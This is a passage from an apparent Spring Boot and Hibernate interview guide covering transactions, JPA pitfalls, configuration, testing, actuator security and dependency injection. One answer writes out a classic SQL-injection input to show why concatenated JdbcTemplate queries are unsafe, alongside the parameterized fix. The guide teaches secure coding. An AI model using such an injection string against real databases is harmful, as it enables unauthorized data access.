Q62 A JPQL query runs after an unflushed change. Is the change visible? ADVANCED

With `FlushModeType.AUTO` (default), Hibernate flushes pending changes before executing a query that touches the affected tables, so the query sees them. Native queries on Hibernate with JPA flush everything under JPA bootstrapping, but may not under native Session API unless synchronized.

- With `COMMIT` mode, the query does not see pending changes.

FOLLOW-UP TRAPS

- **Do bulk `@Modifying` updates see the persistence context?** They bypass it; stale managed entities remain unless you `clearAutomatically = true`.
- **Does flush commit?** No.

#flush-mode #jpql

Q63 After a @Modifying update query, a find returns the old value. Why? ADVANCED

Bulk JPQL updates execute directly in the database and do not update entities already loaded in the persistence context; subsequent `find` returns the cached stale instance.

```
@Modifying(clearAutomatically = true, flushAutomatically = true)
@Query("update User u set u.status = 'INACTIVE' where u.lastLogin < :d")
int deactivate(@Param("d") Instant d);
```

FOLLOW-UP TRAPS

- **Are lifecycle callbacks and `@Version` triggered?** No, bulk operations skip them.
- **Is `@Modifying` without a transaction OK?** No, it needs a transaction (`TransactionRequiredException`).

#modifying #persistence-context #bulk-update

Q64 Why does saveAll of 10,000 entities with IDENTITY ids run slowly? ADVANCED

`IDENTITY` forces each insert to execute immediately to fetch the key, so Hibernate silently disables JDBC insert batching. Switch to `SEQUENCE` with `allocationSize` matching the sequence increment and set `hibernate.jdbc.batch_size=50` (plus `order_inserts=true`). Also clear/flush periodically to bound the persistence context.

FOLLOW-UP TRAPS

- **Does MySQL have sequences?** No (MariaDB does); there you stay with IDENTITY or use JDBC batch inserts.
- **Does `reWriteBatchedInserts` matter?** For PostgreSQL JDBC it rewrites into multi-row inserts and boosts throughput.

#batching #identity #performance

Q65 Two users edit the same record at the same time. How do you prevent lost updates? INTERMEDIATE

Add a `@Version` column. The second commit's `update ... where id=? and version=?` matches zero rows and Hibernate throws `OptimisticLockException`. Handle it by returning 409 or retrying.

```
@Entity
class Account {
    @Id Long id;
    @Version long version;
    BigDecimal balance;
}
```

FOLLOW-UP TRAPS

- **High-contention hot rows?** Use pessimistic locking or an atomic SQL update.
- **Should the client send the version back?** Yes in REST (ETag/If-Match or version field), otherwise the check only covers a single transaction.

#optimistic-locking #concurrency

Q66 A bidirectional OneToMany serialized with Jackson causes StackOverflowError. Why and how to fix? INTERMEDIATE

Parent serializes children, each child serializes the parent, forever. Fix by returning DTOs from controllers (best), or use `@JsonIgnore`, `@JsonManagedReference` / `@JsonBackReference`, or `@JsonIdentityInfo`.

- Serializing entities also risks triggering lazy loads or exposing internal fields.

FOLLOW-UP TRAPS

- **Does `@ToString` or `hashCode` from Lombok cause the same loop?** Yes; exclude the back reference.
- **Is `@JsonIgnore` on a lazy collection safe?** It avoids loading it, which is why it is often used.

#jackson #bidirectional #dto

Q67 An entity uses Lombok @Data and a lazy collection. What breaks? ADVANCED

`@Data` generates `equals` / `hashCode` / `toString` over all fields including relations: lazy collections get initialized (or throw `LazyInitializationException`), cycles recurse, and a mutable generated id or fields change `hashCode` while the entity sits in a `HashSet`.

- Use `@Getter/@Setter`, base equals on a business key, or on the id with a constant `hashCode` pattern and null-id handling.

FOLLOW-UP TRAPS

- **Should entities be `final` or records?** No; Hibernate needs to proxy and mutate them.
- **Is a proxy `getClass()` equal to the entity class?** No, so `equals` must use `instanceof` / `Hibernate.getClass`.

#equals-hashcode #lombok #entities

Q68 getById/getReference versus findById: what is the difference? INTERMEDIATE

`findById` hits the DB immediately and returns the entity or empty. `getReferenceById` returns a lazy proxy without a query; the SELECT happens on first property access, throwing `EntityNotFoundException` if absent. Use it to set an FK without loading the row.

```
order.setCustomer(customerRepo.getReferenceById(customerId));
```

FOLLOW-UP TRAPS

- **Accessing the proxy after the session closes?** `LazyInitializationException`.
- **Does the proxy's `getId()` trigger a load?** Not with property access on the identifier in Hibernate, when accessed through the getter.

#proxy #getreference #findbyid

Q69 What happens in this circular constructor injection under Boot 3? BASIC

```
@Service class A { A(B b) {} }
@Service class B { B(A a) {} }
```

The context fails to start with `BeanCurrentlyInCreationException` / `UnsatisfiedDependencyException` describing the cycle. Even with setter injection, Boot 2.6+ refuses cycles by default.

- Refactor so the dependency goes one way (extract shared logic to `C`) or publish an event.

FOLLOW-UP TRAPS

- **Quick unsafe workaround?** `@Lazy` on one parameter, or `spring.main.allow-circular-references=true`.
- **Does the error appear at the first request?** No, at startup for singletons.

#circular-dependency #startup

Q70 You inject a prototype-scoped bean into a singleton and always get the same object. Why? INTERMEDIATE

The singleton's dependencies are resolved once at its creation, so the prototype is instantiated one time. Use `ObjectProvider<T>`, `@Lookup`, or `@Scope(value="prototype", proxyMode=TARGET_CLASS)` so each use gets a fresh instance.

FOLLOW-UP TRAPS

- **Are prototype `@PreDestroy` methods called?** No, the container does not track them.
- **Is `ApplicationContext.getBean` inside the method acceptable?** It works but couples code to the container.

#prototype #scopes

Q71 Two beans of type PaymentGateway exist and one service injects it. What error occurs and how do you resolve it? BASIC

`NoUniqueBeanDefinitionException: expected single matching bean but found 2`. Resolve with `@Primary` on the default, `@Qualifier("stripe")` at the injection point, naming the parameter after the bean, or injecting `Map<String, PaymentGateway>` for strategy selection.

```
PaymentService(@Qualifier("stripe") PaymentGateway gw) { this.gw = gw; }
```

FOLLOW-UP TRAPS

- **Does parameter-name matching require `-parameters`?** Spring Boot's Maven/Gradle plugins compile with it by default.
- **Can you inject by bean name only?** `@Resource(name=...)` does name-first matching.

#qualifier #primary #autowired

Q72 @ConditionalOnMissingBean bean is not replaced by your own bean. What could be wrong? ADVANCED

Typical causes: your bean has a different type than the one checked (for example you declare the implementation with another return type), it is defined in a configuration not scanned, or it is registered after the auto-config is evaluated. Use `--debug` or `/actuator/conditions` to see why the condition matched.

- Declare the `@Bean` with the same type or interface the auto-config tests for.

FOLLOW-UP TRAPS

- **Does the return type of `@Bean` method matter?** Yes, conditions are evaluated against the declared return type.
- **Are user beans processed before auto-config?** Yes, auto-configs are deferred imports.

#auto-configuration #conditional #debugging

Q73 Property app.timeout is set in application.yml, application-prod.yml and as env var APP_TIMEOUT. Which wins in prod? INTERMEDIATE

The environment variable `APP_TIMEOUT` wins; it outranks packaged config files, including `application-prod.yml`. Between the two files, `application-prod.yml` overrides `application.yml`. A command-line argument `--app.timeout=` would beat all.

FOLLOW-UP TRAPS

- **Env var name `APP_TIMEOUT` binds to what key?** `app.timeout` through relaxed binding.
- **Do lists merge across files?** No, a list in a higher source replaces the lower one wholesale.

#externalized-config #precedence

Q74 Your @ConfigurationProperties values are all null. What are the usual causes? INTERMEDIATE

- The class is not registered (`@EnableConfigurationProperties` or `@ConfigurationPropertiesScan` missing, or no `@Component`).
- Wrong prefix or key names (relaxed binding still requires matching words).
- No setters on a mutable class (JavaBean binding) or missing constructor binding on an immutable one.
- The profile file is not active.

FOLLOW-UP TRAPS

- **Why use `spring-boot-configuration-processor`?** It generates metadata for IDE completion and warnings.
- **Does a record need `@ConstructorBinding`?** Not in Boot 3 when there is a single constructor.

#configuration-properties #debugging

Q75 A @Component is not found even though the class exists. What do you check? BASIC

Check the package: scanning starts from the `@SpringBootApplication` class's package. A class in a sibling package (`com.other`) is missed; fix by moving it or using `scanBasePackages` / `@ComponentScan`. Also verify the stereotype annotation and that no profile or conditional excludes it.

FOLLOW-UP TRAPS

- **Does adding `@ComponentScan` to the main class keep the default scan?** No, it replaces the default base package.
- **Will `@Import` work for a non-scanned class?** Yes.

#component-scan #startup

Q76 A POST request returns 415 Unsupported Media Type. What are the likely causes? BASIC

The request `Content-Type` is missing or not supported by any `HttpMessageConverter` for the parameter type, or the mapping declares `consumes` that does not match. For JSON, send `Content-Type: application/json` and ensure Jackson is on the classpath.

FOLLOW-UP TRAPS

- **What if the response type is unacceptable?** 406 Not Acceptable, derived from `Accept`.
- **Is 400 different?** Yes, 400 means the body is malformed or fails binding.

#spring-mvc #content-type

Q77 A @RequestBody has an unknown JSON field. What does Spring Boot do? INTERMEDIATE

Boot's auto-configured `ObjectMapper` disables `FAIL_ON_UNKNOWN_PROPERTIES`, so unknown fields are silently ignored. A raw `new ObjectMapper()` would fail with `UnrecognizedPropertyException` (400). Missing fields become null/default.

- Enable strictness with `spring.jackson.deserialization.fail-on-unknown-properties=true`.

FOLLOW-UP TRAPS

- **Is a type mismatch (string for int) ignored?** No, it gives a 400 (`HttpMessageNotReadableException`).
- **Does Boot's mapper write dates as timestamps?** No, `WRITE_DATES_AS_TIMESTAMPS` is disabled (ISO strings).

#jackson #deserialization

Q78 @Valid on a request DTO has no effect. What did you miss? BASIC

Common reasons: `spring-boot-starter-validation` is absent (no validator on the classpath), `@Valid` is missing on the parameter, constraints are on a getter of a record/class improperly, or nested objects lack `@Valid`.

FOLLOW-UP TRAPS

- **Why is `@Size` not enforced on null?** Most constraints treat null as valid; add `@NotNull`.
- **Does validation run on `@RequestParam` simple types?** Only with `@Validated` on the class (or Spring 6.1 built-in method validation).

#validation #debugging

Q79 How do you return a 400 with a field-error list from validation failures? INTERMEDIATE

Handle `MethodArgumentNotValidException` in a `@RestControllerAdvice` and map `getBindingResult().getFieldErrors()`.

```
@ExceptionHandler(MethodArgumentNotValidException.class)
ResponseEntity<Map<String,String>> invalid(MethodArgumentNotValidException e) {
    Map<String,String> m = new LinkedHashMap<>();
    e.getBindingResult().getFieldErrors()
        .forEach(f -> m.put(f.getField(), f.getDefaultMessage()));
    return ResponseEntity.badRequest().body(m);
}
```

FOLLOW-UP TRAPS

- **Duplicate errors for one field?** `put` keeps the last; collect into a list to keep all.
- **Where do class-level errors appear?** In `getGlobalErrors()`.

#validation #exception-handling

Q80 @WebMvcTest fails with "No qualifying bean of type OrderService". Why? INTERMEDIATE

`@WebMvcTest` loads only the web slice, not `@Service` / `@Repository` beans, so the controller's dependency is missing. Provide a mock with `@MockitoBean` (or `@MockBean` before Boot 3.4).

```
@WebMvcTest(OrderController.class)
class OrderControllerTest {
    @Autowired MockMvc mvc;
    @MockitoBean OrderService service;
}
```

FOLLOW-UP TRAPS

- **Are security filters active?** Yes, so unauthenticated calls give 401/403 unless configured.
- **Why is the whole suite slow after adding many `@MockBean`s?** Each distinct combination builds a new cached context.

#testing #webmvctest #mockbean

Q81 A @DataJpaTest passes on H2 but the same query fails in production PostgreSQL. Why? ADVANCED

H2 differs in dialect, JSON/array types, case sensitivity, locking, sequence behavior and function support, and `@DataJpaTest` replaces your datasource by default. Use Testcontainers with the production engine and `@AutoConfigureTestDatabase(replace = NONE)` (or `@ServiceConnection`).

FOLLOW-UP TRAPS

- **Does H2 PostgreSQL mode fix everything?** No, it only emulates part of the syntax.
- **Does Hibernate `ddl-auto=create` in tests hide migration errors?** Yes; run Flyway/Liquibase in tests to validate scripts.

#testing #testcontainers #h2

Q82 Test methods annotated @Transactional all pass, but production fails on commit. What is going on? ADVANCED

Test transactions roll back by default, so Hibernate may never flush: constraint violations, lazy-loading issues and version conflicts do not appear. Call `em.flush()` / `flush(); clear()` in the test to force SQL and a fresh load, or use `@Commit` / a non-transactional integration test.

FOLLOW-UP TRAPS

- **Does `@Transactional` on a test with `RANDOM_PORT` roll back server-side work?** No, the server runs in another thread and transaction.
- **Why `clear()` after `flush()`?** To avoid reading from the first-level cache.

#testing #transactional #flush

Q83 /actuator/health shows DOWN because the mail server is unreachable. How do you stop it from restarting the pod? INTERMEDIATE

Separate concerns: point the Kubernetes liveness probe to `/actuator/health/liveness` (internal state only), and the readiness probe to a group containing only critical indicators. Disable or exclude the mail indicator (`management.health.mail.enabled=false`) or move it out of the readiness group.

```
management:
  endpoint.health:
    probes.enabled: true
    group.readiness.include: readinessState,db
```

FOLLOW-UP TRAPS

- **Should liveness check the database?** Generally no, a DB outage would restart all pods and worsen it.
- **Overall health with an `OUT_OF_SERVICE` indicator?** Mapped to HTTP 503 as well.

#actuator #health #probes

Q84 You expose all actuator endpoints publicly with include: "*". What is the risk? INTERMEDIATE

`env`, `configprops`, `heapdump`, `threaddump`, `loggers` (changing log levels), `beans` and `mappings` reveal configuration, secrets (masked only partially) and internals; `heapdump` leaks memory contents. Expose only `health` / `info` / `prometheus`, put management behind authentication or on a separate internal port, and sanitize values (`show-values`).

FOLLOW-UP TRAPS

- **Are values in `env` masked?** Keys like `password` / `secret` are sanitized by default (since Boot 3 hidden unless `show-values` is configured), but custom key names may leak.
- **Does `shutdown` exist by default?** It is disabled by default.

#actuator #security

Q85 A JdbcTemplate query uses string concatenation for a user-supplied name. What is wrong? BASIC

It is open to SQL injection: input such as `x' OR '1'='1` changes the query. Use `?` placeholders or named parameters so the driver sends values separately.

```
jdbc.query("select * from users where name = ?", mapper, name);
```

FOLLOW-UP TRAPS

- **Can placeholders bind a column or table name?** No; validate against a whitelist for identifiers and sort columns.
- **Does using `JdbcTemplate` alone protect you?** No, only parameterization does.

#jdbctemplate #sql-injection

Q86 queryForObject throws EmptyResultDataAccessException. How do you handle it? BASIC

`queryForObject` expects exactly one row: zero rows give `EmptyResultDataAccessException`, more than one gives `IncorrectResultSizeDataAccessException`. Use `query(...)` and take the first element, `.stream().findFirst()`, or `JdbcClient...optional()`.

FOLLOW-UP TRAPS

- **Does `queryForObject` return null for no rows?** No, it throws.
- **Is `queryForList` for a single column typed?** Use `queryForList(sql, Long.class, args)`.

#jdbctemplate #exceptions

Q87 How do you do a batch insert of 5,000 rows efficiently with JdbcTemplate? INTERMEDIATE

Use `batchUpdate` in chunks inside one transaction.

```
jdbc.batchUpdate(
    "insert into item(sku, qty) values (?, ?)", items, 500,
    (ps, it) -> { ps.setString(1, it.sku()); ps.setInt(2, it.qty()); });
```

- With PostgreSQL add `reWriteBatchedInserts=true`; with MySQL `rewriteBatchedStatements=true` in the JDBC URL.

FOLLOW-UP TRAPS

- **Does JdbcTemplate batch run in a transaction automatically?** Not unless you add `@Transactional`; otherwise each batch may auto-commit.
- **Does it return generated keys?** Not easily; use `SimpleJdbcInsert` / `KeyHolder` per batch or `RETURNING`.

#jdbctemplate #batch

Q88 An aspect with @Around on a service never fires for a call inside the same bean. How do you fix it? INTERMEDIATE

Self-calls bypass the proxy. Extract the advised method into a collaborator bean, or call it via an injected proxy of itself. If the aspect must cover internal calls, use AspectJ compile- or load-time weaving.

FOLLOW-UP TRAPS

- **Does the pointcut `execution(* com.app.service.*.*(..))` match a method of a class in a sub-package?** No, you need `..` (`service..*`).
- **Aspect not applied at all in Boot?** Check the starter `spring-boot-starter-aop` and that the aspect is a bean (`@Component`).

#aop #self-invocation #around

Q89 Write an @Around aspect that logs the duration of methods annotated with @Timed. INTERMEDIATE

```
@Aspect
@Component
class TimingAspect {
    @Around("@annotation(com.app.Timed)")
    Object time(ProceedingJoinPoint pjp) throws Throwable {
        long t = System.nanoTime();
        try {
            return pjp.proceed();
        } finally {
            long ms = (System.nanoTime() - t) / 1_000_000;
            System.out.println(pjp.getSignature() + " took " + ms + " ms");
        }
    }
}
```

Forgetting `pjp.proceed()` means the target is never called; swallowing exceptions changes behavior.

FOLLOW-UP TRAPS

- **Why `finally`?** So timing is logged for failures too.
- **Must you return the proceed result?** Yes, otherwise callers get null.

#aop #around #custom-annotation

Q90 Aspect ordering: a logging aspect and a @Transactional proxy both apply. Which runs first? ADVANCED

Order is controlled by `@Order` / `Ordered` (lower value = outermost). The transaction advisor has lowest precedence by default (`Ordered.LOWEST_PRECEDENCE`), so your aspect wraps the transaction unless you set a different order. A retry aspect must be ordered outside the transaction aspect so each retry gets a fresh transaction.

FOLLOW-UP TRAPS

- **What if two aspects have the same order?** Undefined relative order.
- **Why does a retry inside the transaction fail?** The transaction is already marked rollback-only.

#aop #ordering #transactions

Q91 What does Spring Data do when a repository method name has a typo? BASIC

Context startup fails with `PropertyReferenceException: No property 'emial' found for type 'User'`, because derived queries are parsed when the repository proxy is created. `@Query` methods are validated too (JPQL syntax checked at startup).

FOLLOW-UP TRAPS

- **Are native `@Query` strings validated at startup?** No, only at execution.
- **Does `findByEmail` return null or Optional for no result?** Depends on declared type; null for entity, `Optional.empty()` for `Optional`.

#spring-data #derived-queries

Q92 A repository method findByEmail returns more than one row. What happens? INTERMEDIATE

For a single-entity return type Spring Data throws `IncorrectResultSizeDataAccessException`. Fix the data model (unique constraint on email), return a `List`, or use `findFirstBy...` / `findTopBy...`.

FOLLOW-UP TRAPS

- **Is a unique index enough alone?** Add `@Column(unique = true)` /constraint in schema so duplicates cannot exist.
- **Case-insensitive uniqueness?** Need a functional index on `lower(email)` in the DB.

#spring-data #results

Q93 How do you return only two columns from an entity without loading the whole thing? INTERMEDIATE

Use an interface or record projection; Spring Data generates a narrow `SELECT`.

```
record UserSummary(Long id, String name) {}

interface UserRepository extends JpaRepository<User, Long> {
    List<UserSummary> findByStatus(Status status);
}
```

- Interface projections with nested/SpEL properties may load the whole entity; closed projections select only required columns.

FOLLOW-UP TRAPS

- **Are projection results managed?** No, so no dirty checking or lazy loading.
- **Dynamic projections?** Add a `Class<T>` parameter.

#projections #dto #spring-data

Q94 A Page endpoint becomes slow on a 50-million-row table. Why, and what can you do? ADVANCED

`Page` runs a `count(*)` on each request and `OFFSET n` forces the database to skip n rows. Return `Slice` to skip the count, cache or approximate totals, and switch to keyset pagination (`where id > :lastId order by id limit :size`) using a stable sort key and an index.

FOLLOW-UP TRAPS

- **Is pagination without an `ORDER BY` safe?** No, row order is undefined and pages may overlap.
- **Ties in the sort column?** Add a unique tiebreaker such as the id.

#pagination #performance #keyset

Q95 save() on an entity with a pre-assigned String id triggers a SELECT before INSERT. Why? ADVANCED

`isNew()` checks if the id (or `@Version`) is null; a pre-assigned id means "not new", so `save` calls `merge`, which SELECTs to see whether the row exists. Implement `Persistable<ID>` returning `isNew() == true` for fresh instances (typically tracked with a `@Transient` flag), or use a generated id.

FOLLOW-UP TRAPS

- **Would a `@Version` Long wrapper help?** Yes, null version marks it new.
- **Does `persist` avoid the select?** Yes, via `EntityManager.persist` directly.

#spring-data #persistable #merge

Q96 Deleting a parent with children throws a foreign-key violation. Fix? INTERMEDIATE

The DB rejects deleting a parent whose rows are referenced. Options: `cascade = REMOVE` (or `orphanRemoval`) so Hibernate deletes children first, `ON DELETE CASCADE` on the FK, or delete children explicitly. `CascadeType.REMOVE` loads and deletes children one by one; DB-level cascade is faster for large sets.

FOLLOW-UP TRAPS

- **Does `@OnDelete(action = CASCADE)` change Hibernate behavior?** It emits DDL for DB cascade and skips child deletes.
- **Is soft-delete an option?** Yes, `@SQLDelete` / `@SQLRestriction` (Hibernate 6.3+; earlier `@Where`).

#cascade #foreign-key #delete

Q97 A bidirectional @OneToMany adds a child via parent.getChildren().add(c) but the FK is null. Why? INTERMEDIATE

The FK is written from the owning side (`@ManyToOne` on the child). Adding to the inverse collection alone does not set `child.parent`, so the column stays null. Keep both sides in sync with a helper.

```
void addChild(Child c) { children.add(c); c.setParent(this); }
```

FOLLOW-UP TRAPS

- **Which side has `mappedBy`?** The collection (inverse) side.
- **Why is removing during iteration risky?** `ConcurrentModificationException`; use `removeIf` or the helper carefully.

#mappings #owning-side #bidirectional

Q98 Setting spring.jpa.hibernate.ddl-auto=update in production: what is the problem? INTERMEDIATE

`update` auto-alters schema on startup but never drops columns, cannot rename or migrate data, is unreviewed and unreversible, and may lock tables. Use Flyway or Liquibase for versioned migrations and `ddl-auto=validate` (or `none`) in production.

- Defaults in Boot: `create-drop` for embedded DBs, `none` for others.

FOLLOW-UP TRAPS

- **Is `create` safe for tests?** Fine for throwaway DBs, never for shared data.
- **Does `validate` alter anything?** No, it only checks that mappings match the schema.

#ddl-auto #migrations #flyway

Q99 Transactional method calls a remote HTTP API in the middle. What goes wrong at scale? ADVANCED

The DB connection stays checked out while waiting on the network, so slow responses exhaust the Hikari pool (default 10) and requests queue with `Connection is not available` timeouts. Keep transactions short: call external services outside the transaction or after commit (`@TransactionalEventListener(phase = AFTER_COMMIT)`).

FOLLOW-UP TRAPS

- **Does `@Transactional` acquire the connection at method entry?** Usually lazily with Hibernate on first DB access depending on settings, but never rely on it.
- **What if the HTTP call succeeds and the commit fails?** Inconsistent state; use an outbox pattern.

#transactional #connection-pool #design

Q100 @TransactionalEventListener(AFTER_COMMIT) saves to the database but the data is not persisted. Why? ADVANCED

The listener runs after the original transaction has committed but its transaction resources are still bound, so a plain `@Transactional` (REQUIRED) joins the finished transaction and nothing is committed. Annotate the listener with `@Transactional(propagation = REQUIRES_NEW)`.

FOLLOW-UP TRAPS

- **If no transaction is active when the event is published?** The listener is not invoked unless `fallbackExecution = true`.
- **Is `@Async` combined fine?** Yes, then the listener runs on another thread and needs its own transaction.

#transactional-event-listener #propagation

Q101 A @Scheduled or @Async method annotated with @Transactional: how do the proxies interact? ADVANCED

`@Async` runs the method on another thread; the transaction is thread-bound, so the caller's transaction does not extend into it. The async method starts its own transaction if it carries `@Transactional`. Exceptions are lost for `void` returns unless an `AsyncUncaughtExceptionHandler` is set, and self-invocation again bypasses both.

FOLLOW-UP TRAPS

- **Does the async method see uncommitted caller data?** No, a different transaction cannot read it.
- **Must `@EnableAsync` be present?** Yes.

#async #transactions #threads

Q102 Which scope does a @RequestScope bean have when injected into a singleton controller? INTERMEDIATE

`@RequestScope` sets `proxyMode = TARGET_CLASS` by default, so the singleton receives a proxy that delegates to the current request's instance. Outside a request thread (an async or scheduled job) it throws `IllegalStateException: No thread-bound request found`.

FOLLOW-UP TRAPS

- **Is a plain `@Scope("request")` the same?** No, it needs `proxyMode` set explicitly.
- **Does it propagate to `@Async` threads?** No, request attributes are thread-bound.

#request-scope #scoped-proxy

Q103 SpringApplication fails with "Failed to determine a suitable driver class". Why?

BASIC

Boot detected `spring-boot-starter-data-jpa` or JDBC but no `spring.datasource.url` (and no embedded DB on the classpath). Provide the URL, username, password and the JDBC driver dependency, or exclude `DataSourceAutoConfiguration` if no DB is needed.

FOLLOW-UP TRAPS

- **Is `driver-class-name` required?** Usually not; it is inferred from the URL.
- **What if the driver jar is missing?** A similar error about the class not found.

#datasource #startup #debugging

Q104 Port 8080 is already in use at startup. What are your options?

BASIC

Set `server.port` in properties, CLI (`--server.port=8081`) or env (`SERVER_PORT`); use `server.port=0` for a random port in tests (`@LocalServerPort` reads it). Otherwise stop the process holding the port.

FOLLOW-UP TRAPS

- **Can the actuator listen on a different port?** Yes, `management.server.port`.
- **How does a test find the random port?** Inject `@LocalServerPort` with `webEnvironment = RANDOM_PORT`.

#spring-boot #server #configuration

PART II

Spring & Hibernate

Real-world Spring Boot, Hibernate and Security scenarios, in the order interviews probe them.

8 chapters · 210 questions

1. Spring Core, DI & Bean Lifecycle
2. Spring Boot Auto-configuration & Config
3. REST API Design, Validation & ControllerAdvice
4. Transactions & Propagation
5. Hibernate & JPA Internals
6. Lazy vs Eager Loading & the N+1 Problem
7. Caching & Performance Tuning
8. Spring Security & JWT

SPRING & HIBERNATE · CHAPTER 1

Spring Core, DI & Bean Lifecycle

Dependency injection styles, circular dependencies, qualifiers, scopes, lifecycle callbacks, BeanPostProcessor, proxies and self-invocation, lazy beans, conditional beans and profiles in real-world scenarios.

26 questions **9** basic **11** intermediate **6** advanced

Scenarios

Q1 **A service uses field injection with `@Autowired` and a unit test does `new OrderService()`. What happens and what is the better design?** BASIC

The test compiles but every injected field is `null`, so the first call throws `NullPointerException`. Constructor injection makes dependencies explicit, lets fields be `final`, and makes the object impossible to create in an invalid state.

```
@Service
public class OrderService {
    private final PaymentClient payments;
    private final OrderRepository repo;

    public OrderService(PaymentClient payments, OrderRepository repo) {
        this.payments = payments;
        this.repo = repo;
    }
}
```

With a single constructor, `@Autowired` is optional (since Spring 4.3). In the test you pass mocks directly, with no Spring context.

FOLLOW-UP TRAPS

- **Can field injection fields be `final`?** No, reflection sets them after construction, so they cannot be final.
- **When is setter injection still appropriate?** For genuinely optional or re-configurable dependencies.

#di #constructor-injection #testing

Q2 **Two beans depend on each other through constructors. What happens at startup on Spring Boot 3.x?** INTERMEDIATE

Startup fails with `BeanCurrentlyInCreationException` wrapped in `UnsatisfiedDependencyException`. Since Spring Boot 2.6, `spring.main.allow-circular-references` defaults to `false`, so even setter/field cycles that used to work are rejected.

- Constructor cycles can never be resolved by the container, because neither object can be created before the other.
- The right fix is to redesign: extract the shared logic into a third bean, or invert one dependency with an event.
- Quick escapes: `@Lazy` on one constructor parameter (injects a proxy), or `allow-circular-references=true` (treat as technical debt).

FOLLOW-UP TRAPS

- **Why did this work in Boot 2.5 for field injection?** Early singleton references from the three-level cache allowed it; Boot 2.6 turned that off by default.
- **Does `@Lazy` remove the design smell?** No, it only defers resolution of the cycle.

#circular-dependency #startup

Q3 **Two `DataSource` beans exist and a repository injects `DataSource`. What error do you get and how do you resolve it?** BASIC

`NoUniqueBeanDefinitionException: expected single matching bean but found 2`. Resolve with `@Primary` on the default one, or `@Qualifier("reportingDs")` at the injection point.

```
@Bean @Primary
DataSource mainDs() { ... }

@Bean
DataSource reportingDs() { ... }

public ReportRepo(@Qualifier("reportingDs") DataSource ds) { ... }
```

An explicit `@Qualifier` wins over `@Primary`. As a last fallback, Spring matches the parameter name to a bean name (needs `-parameters`, which Boot's Maven/Gradle plugins enable).

FOLLOW-UP TRAPS

- **Can two beans both be `@Primary`?** No, it throws `NoUniqueBeanDefinitionException` again.
- **If I inject `List<DataSource>`, is this an error?** No, you get all beans, ordered by `@Order` / `Ordered`.

#qualifier #primary #ambiguity

Q4 **A singleton bean injects a prototype bean via constructor. Does each call get a new prototype instance?** INTERMEDIATE

No. Injection happens once when the singleton is created, so it holds one prototype instance forever. To get a fresh instance per use, inject `ObjectProvider<T>` (or `Provider<T>`), use a scoped proxy, or a lookup method.

```
@Service
class ReportService {
    private final ObjectProvider<ReportBuilder> builders;
    ReportService(ObjectProvider<ReportBuilder> builders) { this.builders = builders; }
    Report build() { return builders.getObject().build(); }
}
```

`@Scope(value = "prototype", proxyMode = ScopedProxyMode.TARGET_CLASS)` also works, but every method call on the proxy creates a new instance, which is rarely what you want for a stateful builder.

FOLLOW-UP TRAPS

- **Does Spring call `@PreDestroy` on prototype beans?** No, the container does not manage their destruction.
- **Is `ObjectFactory` different from `ObjectProvider`?** `ObjectProvider` extends it with `getIfAvailable`, `stream`, and ordering support.

#scopes #prototype #singleton

Q5 **You need per-request state in a service. How do you use request scope safely from a singleton controller?** INTERMEDIATE

Declare the bean `@RequestScope` (which sets `proxyMode = TARGET_CLASS`) and inject it normally. The singleton receives a CGLIB proxy that resolves the real instance from the current request on each call.

- Without the proxy you get `ScopeNotActiveException: No scope registered for scope name 'request'` at startup, because no request exists when the singleton is created.
- Calls outside a web request thread (e.g., `@Async` or scheduled jobs) fail with the same exception, since the `RequestContextHolder` is thread-bound.
- Class must be non-final with a usable constructor for CGLIB proxying.

FOLLOW-UP TRAPS

- **Does request scope propagate to `@Async` threads?** No, unless you copy attributes (e.g., a `TaskDecorator`).
- **Would a `ThreadLocal` in a singleton be simpler?** It works, but it leaks on thread pools unless cleared; scoped beans are cleaner.

#scopes #request-scope #proxy

Q6 In what order do `@PostConstruct`, `InitializingBean.afterPropertiesSet`, and `@Bean(initMethod)` run, and the destroy equivalents? INTERMEDIATE

Init: `@PostConstruct` (via `CommonAnnotationBeanPostProcessor`), then `afterPropertiesSet()`, then custom `initMethod`. Destroy: `@PreDestroy`, then `DisposableBean.destroy()`, then custom `destroyMethod`.

- Full sequence: constructor, dependency injection, `*Aware` callbacks, `postProcessBeforeInitialization`, init callbacks, `postProcessAfterInitialization` (where AOP proxies are typically created).
- `@Bean` methods infer a public `close()` / `shutdown()` as destroy method automatically; set `destroyMethod = ""` to disable.
- `javax.annotation` became `jakarta.annotation` in Boot 3.

FOLLOW-UP TRAPS

- **Is `@PostConstruct` run on the proxy or the target?** On the target, before the proxy wraps it, so transactional or async behaviour is not active inside it.
- **Why did `@PostConstruct` stop compiling after a Boot 3 upgrade?** The import must be `jakarta.annotation.PostConstruct`.

#lifecycle #callbacks

Q7 You call a `@Transactional` repository from `@PostConstruct` and nothing is committed or the proxy advice is skipped. Why? ADVANCED

During `@PostConstruct` the bean is not fully initialized or proxied yet, and other beans' infrastructure (transaction advisors) may not be ready. Do startup data work in an `ApplicationReadyEvent` listener or `ApplicationRunner`, where the context is fully refreshed and proxies are in place.

```
@Component
class Seeder {
    @EventListener(ApplicationReadyEvent.class)
    @Transactional
    void seed() { ... }
}
```

Calling another bean's `@Transactional` method from `@PostConstruct` usually works because that bean is already a proxy, but calling your own `@Transactional` method does not, since `this` is the raw target.

FOLLOW-UP TRAPS

- **`CommandLineRunner` versus `ApplicationReadyEvent`?** Runners execute before readiness is published; the event fires after runners finish.
- **Do runners run in tests?** Yes in `@SpringBootTest`, unless you disable or profile-restrict them.

#lifecycle #postconstruct #transactions #proxy

Q8 What does a `BeanPostProcessor` do, and why can a custom one cause "not eligible for auto-proxying" warnings? ADVANCED

A `BeanPostProcessor` intercepts every bean before and after initialization, which is how `@Autowired`, `@PostConstruct`, `@Async`, and AOP proxies are applied. BPPs are instantiated early, before regular beans, so any bean they depend on is created before all BPPs are registered and misses processing.

- Log: `Bean 'x' of type [...] is not eligible for getting processed by all BeanPostProcessors`.

- Consequence: that bean may silently lack `@Transactional`, `@Async` or security proxies.
- Fixes: declare BPP `@Bean` methods `static`, inject dependencies lazily (`ObjectProvider`), and keep BPPs free of business dependencies.

FOLLOW-UP TRAPS

- **BPP versus `BeanFactoryPostProcessor`?** BFPP edits bean definitions before any bean is created; BPP edits bean instances.
- **Why static `@Bean` for BPP/BFPP?** To avoid instantiating the enclosing `@Configuration` class too early.

#beanpostprocessor #aop #startup-order

Q9 **A `@Transactional` method calls another `@Transactional(REQUIRES_NEW)` method in the same class. What propagation is actually used?** INTERMEDIATE

The inner annotation is ignored. Spring AOP is proxy-based, and a call through `this` bypasses the proxy, so no advice runs and both methods share the caller's transaction.

Fixes, in order of preference:

- Move the inner method to another bean.
